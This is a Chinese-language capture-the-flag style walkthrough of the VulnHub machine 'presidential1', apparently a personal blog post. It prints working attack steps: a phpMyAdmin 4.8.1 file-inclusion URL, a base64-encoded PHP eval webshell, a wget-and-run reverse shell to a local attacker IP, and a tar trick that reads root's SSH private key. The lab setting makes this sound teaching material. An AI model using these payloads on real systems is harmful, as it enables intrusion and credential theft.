当前位置:网站首页>【vulnhub】presidential1
【vulnhub】presidential1
2022-07-06 16:43:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:vulnhub
欢迎关注点赞收藏️留言
首发时间:2022年7月6日
作者水平很有限,如果发现错误,还望告知,感谢!
导航小助手
因为靶机是host-only模式
我们将kali也设置为host-only模式
主机发现
arp-scan -l
主机号太大或太小的丢掉,因为可能是网关之类的
所以靶机ip为192.168.110.128
端口扫描
nmap -sV -p- 192.168.110.128
访问80端口

看到有人名相关信息,之后可能需要用cwel
dirb目录扫描
dirb http://192.168.110.128
assets目录,先看下
网站源码,看看有没有扫描敏感文件,感觉没有发现什么敏感文件
cgi-bin目录403
nikto和whatweb收集信息
whatweb 192.168.110.128
nikto --url 192.168.110.128
访问一下config.php,确实有这个文件,但是为空
然后尝试会不会是备份文件config.phps 、config.php.bak

访问icons/README
突然对dirb产生了怀疑,为什么这几个文件没有扫出来
dirsearch重新扫目录
./dirsearch.py -u http://192.168.110.128 
确实有config.php.bak
因为我以为它会自动下载的,就没有查看源码了
获得数据库的账号密码
打开about.html
其他版块进入不了,只有HOME和ABOUT
所以这个页面就是一个静态页面
尝试用得到的账号密码登录ssh服务
ssh -p 2082 [email protected]
不知道咋回事
cewl爬取字典
cewl http://192.168.110.128 -w dic0.txt
hydra爆破ssh
hydra -L dic0.txt -P dic0.txt ssh://192.168.110.128
看这报错信息,和上面用votebox的报错信息
应该是需要密钥,而不是直接用密码
子域名爆破
没有什么可以利用的信息了
进行子域名爆破
但是我们现在只有服务器的ip地址,没有域名
所以网站域名为votenow.local
更改host文件
vim /etc/hosts
192.168.110.128 votenow.local
想用gobuster、oneforall来爆破子域名的,但是都没有配置好
使用wfuzzwfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
在Prime1靶机fuzz参数的时候用到过,-w 指定字典,-H 指定请求包头部 , --hw 和 --hc 是去除响应为指定长度的结果
得到一个子域名datasafe
写入hosts文件
vim /etc/hosts
192.168.110.128 datasafe.votenow.local
登录数据库

用得到的数据库账号登录

拿到了admin和密码
john破解密码

得到admin的密码为Stella
尝试用admin登录ssh(失败)
ssh -p 2082 [email protected]
确实是必须要证书的
phpmyadmin漏洞渗透

告诉我们了版本号4.8.1searchsploit phpmyadmin
cp /usr/share/exploitdb/exploits/php/webapps/50457.py /root 
这个RCE的CVE不太会用
跟着别人用文件包含复现一下
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | php/webapps/44928.txt
searchsploit -x php/webapps/44928.txt

构造urlhttp://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_d4qpkliuhiq1anqdkqgc8v10qnq5teq8

复现成功了
我们现在可以写一句话木马<?php eval($_GET["ant"]); ?>
select "<?php echo file_put_contents('/var/www/html/s.php',base64_decode('PD9waHAgZXZhbCgkX0dFVFsiYW50Il0pOyA/Pg=='));exit;?>"
发现这个可能我没弄好有点问题,连不上,直接反弹shellcd /var/www/html | echo 'bash -i >& /dev/tcp/192.168.110.129/1100 0>&1' > shell.shpython -m SimpleHTTPServer 80nc -lvvp 1100
执行sqlselect '<?php system("wget 192.168.110.129/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'
获得一个交互式的shellpython -c 'import pty; pty.spawn("/bin/bash")'
提权
su admin
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082
结束
边栏推荐
- PostgreSQL uses pgpool II to realize read-write separation + load balancing
- Devops can help reduce technology debt in ten ways
- Oracle中使用包FY_Recover_Data.pck来恢复truncate误操作的表
- PDF文档签名指南
- Encryption algorithm - password security
- GPIO簡介
- Interface joint debugging test script optimization v4.0
- 为什么完全背包要用顺序遍历?简要解释一下
- Leecode brush questions record sword finger offer 44 A digit in a sequence of numbers
- Clipboard management tool paste Chinese version
猜你喜欢

Rider离线使用Nuget包的方法

从外企离开,我才知道什么叫尊重跟合规…

Geo data mining (III) enrichment analysis of go and KEGG using David database

准备好在CI/CD中自动化持续部署了吗?

STM32 enters and wakes up the stop mode through the serial port

Server SMP, NUMA, MPP system learning notes.

Why is bat still addicted to 996 when the four-day working system is being tried out in Britain?

Who said that new consumer brands collapsed? Someone behind me won

Interface joint debugging test script optimization v4.0

app通用功能測試用例
随机推荐
Designed for decision tree, the National University of Singapore and Tsinghua University jointly proposed a fast and safe federal learning system
陀螺仪的工作原理
openresty ngx_lua子请求
DevOps可以帮助减少技术债务的十种方式
"Latex" Introduction to latex mathematical formula "suggestions collection"
DAY SIX
GPIO簡介
Unity color palette | color palette | stepless color change function
MIT 6.824 - Raft学生指南
Three application characteristics of immersive projection in offline display
App general function test cases
Leecode brushes questions to record interview questions 17.16 massagist
System activity monitor ISTAT menus 6.61 (1185) Chinese repair
Who said that new consumer brands collapsed? Someone behind me won
Introduction to GPIO
C语言输入/输出流和文件操作【二】
DAY FOUR
【CVPR 2022】目标检测SOTA:DINO: DETR with Improved DeNoising Anchor Boxes for End-to-End Object Detection
vector的使用方法_vector指针如何使用
Leecode brush questions record interview questions 32 - I. print binary tree from top to bottom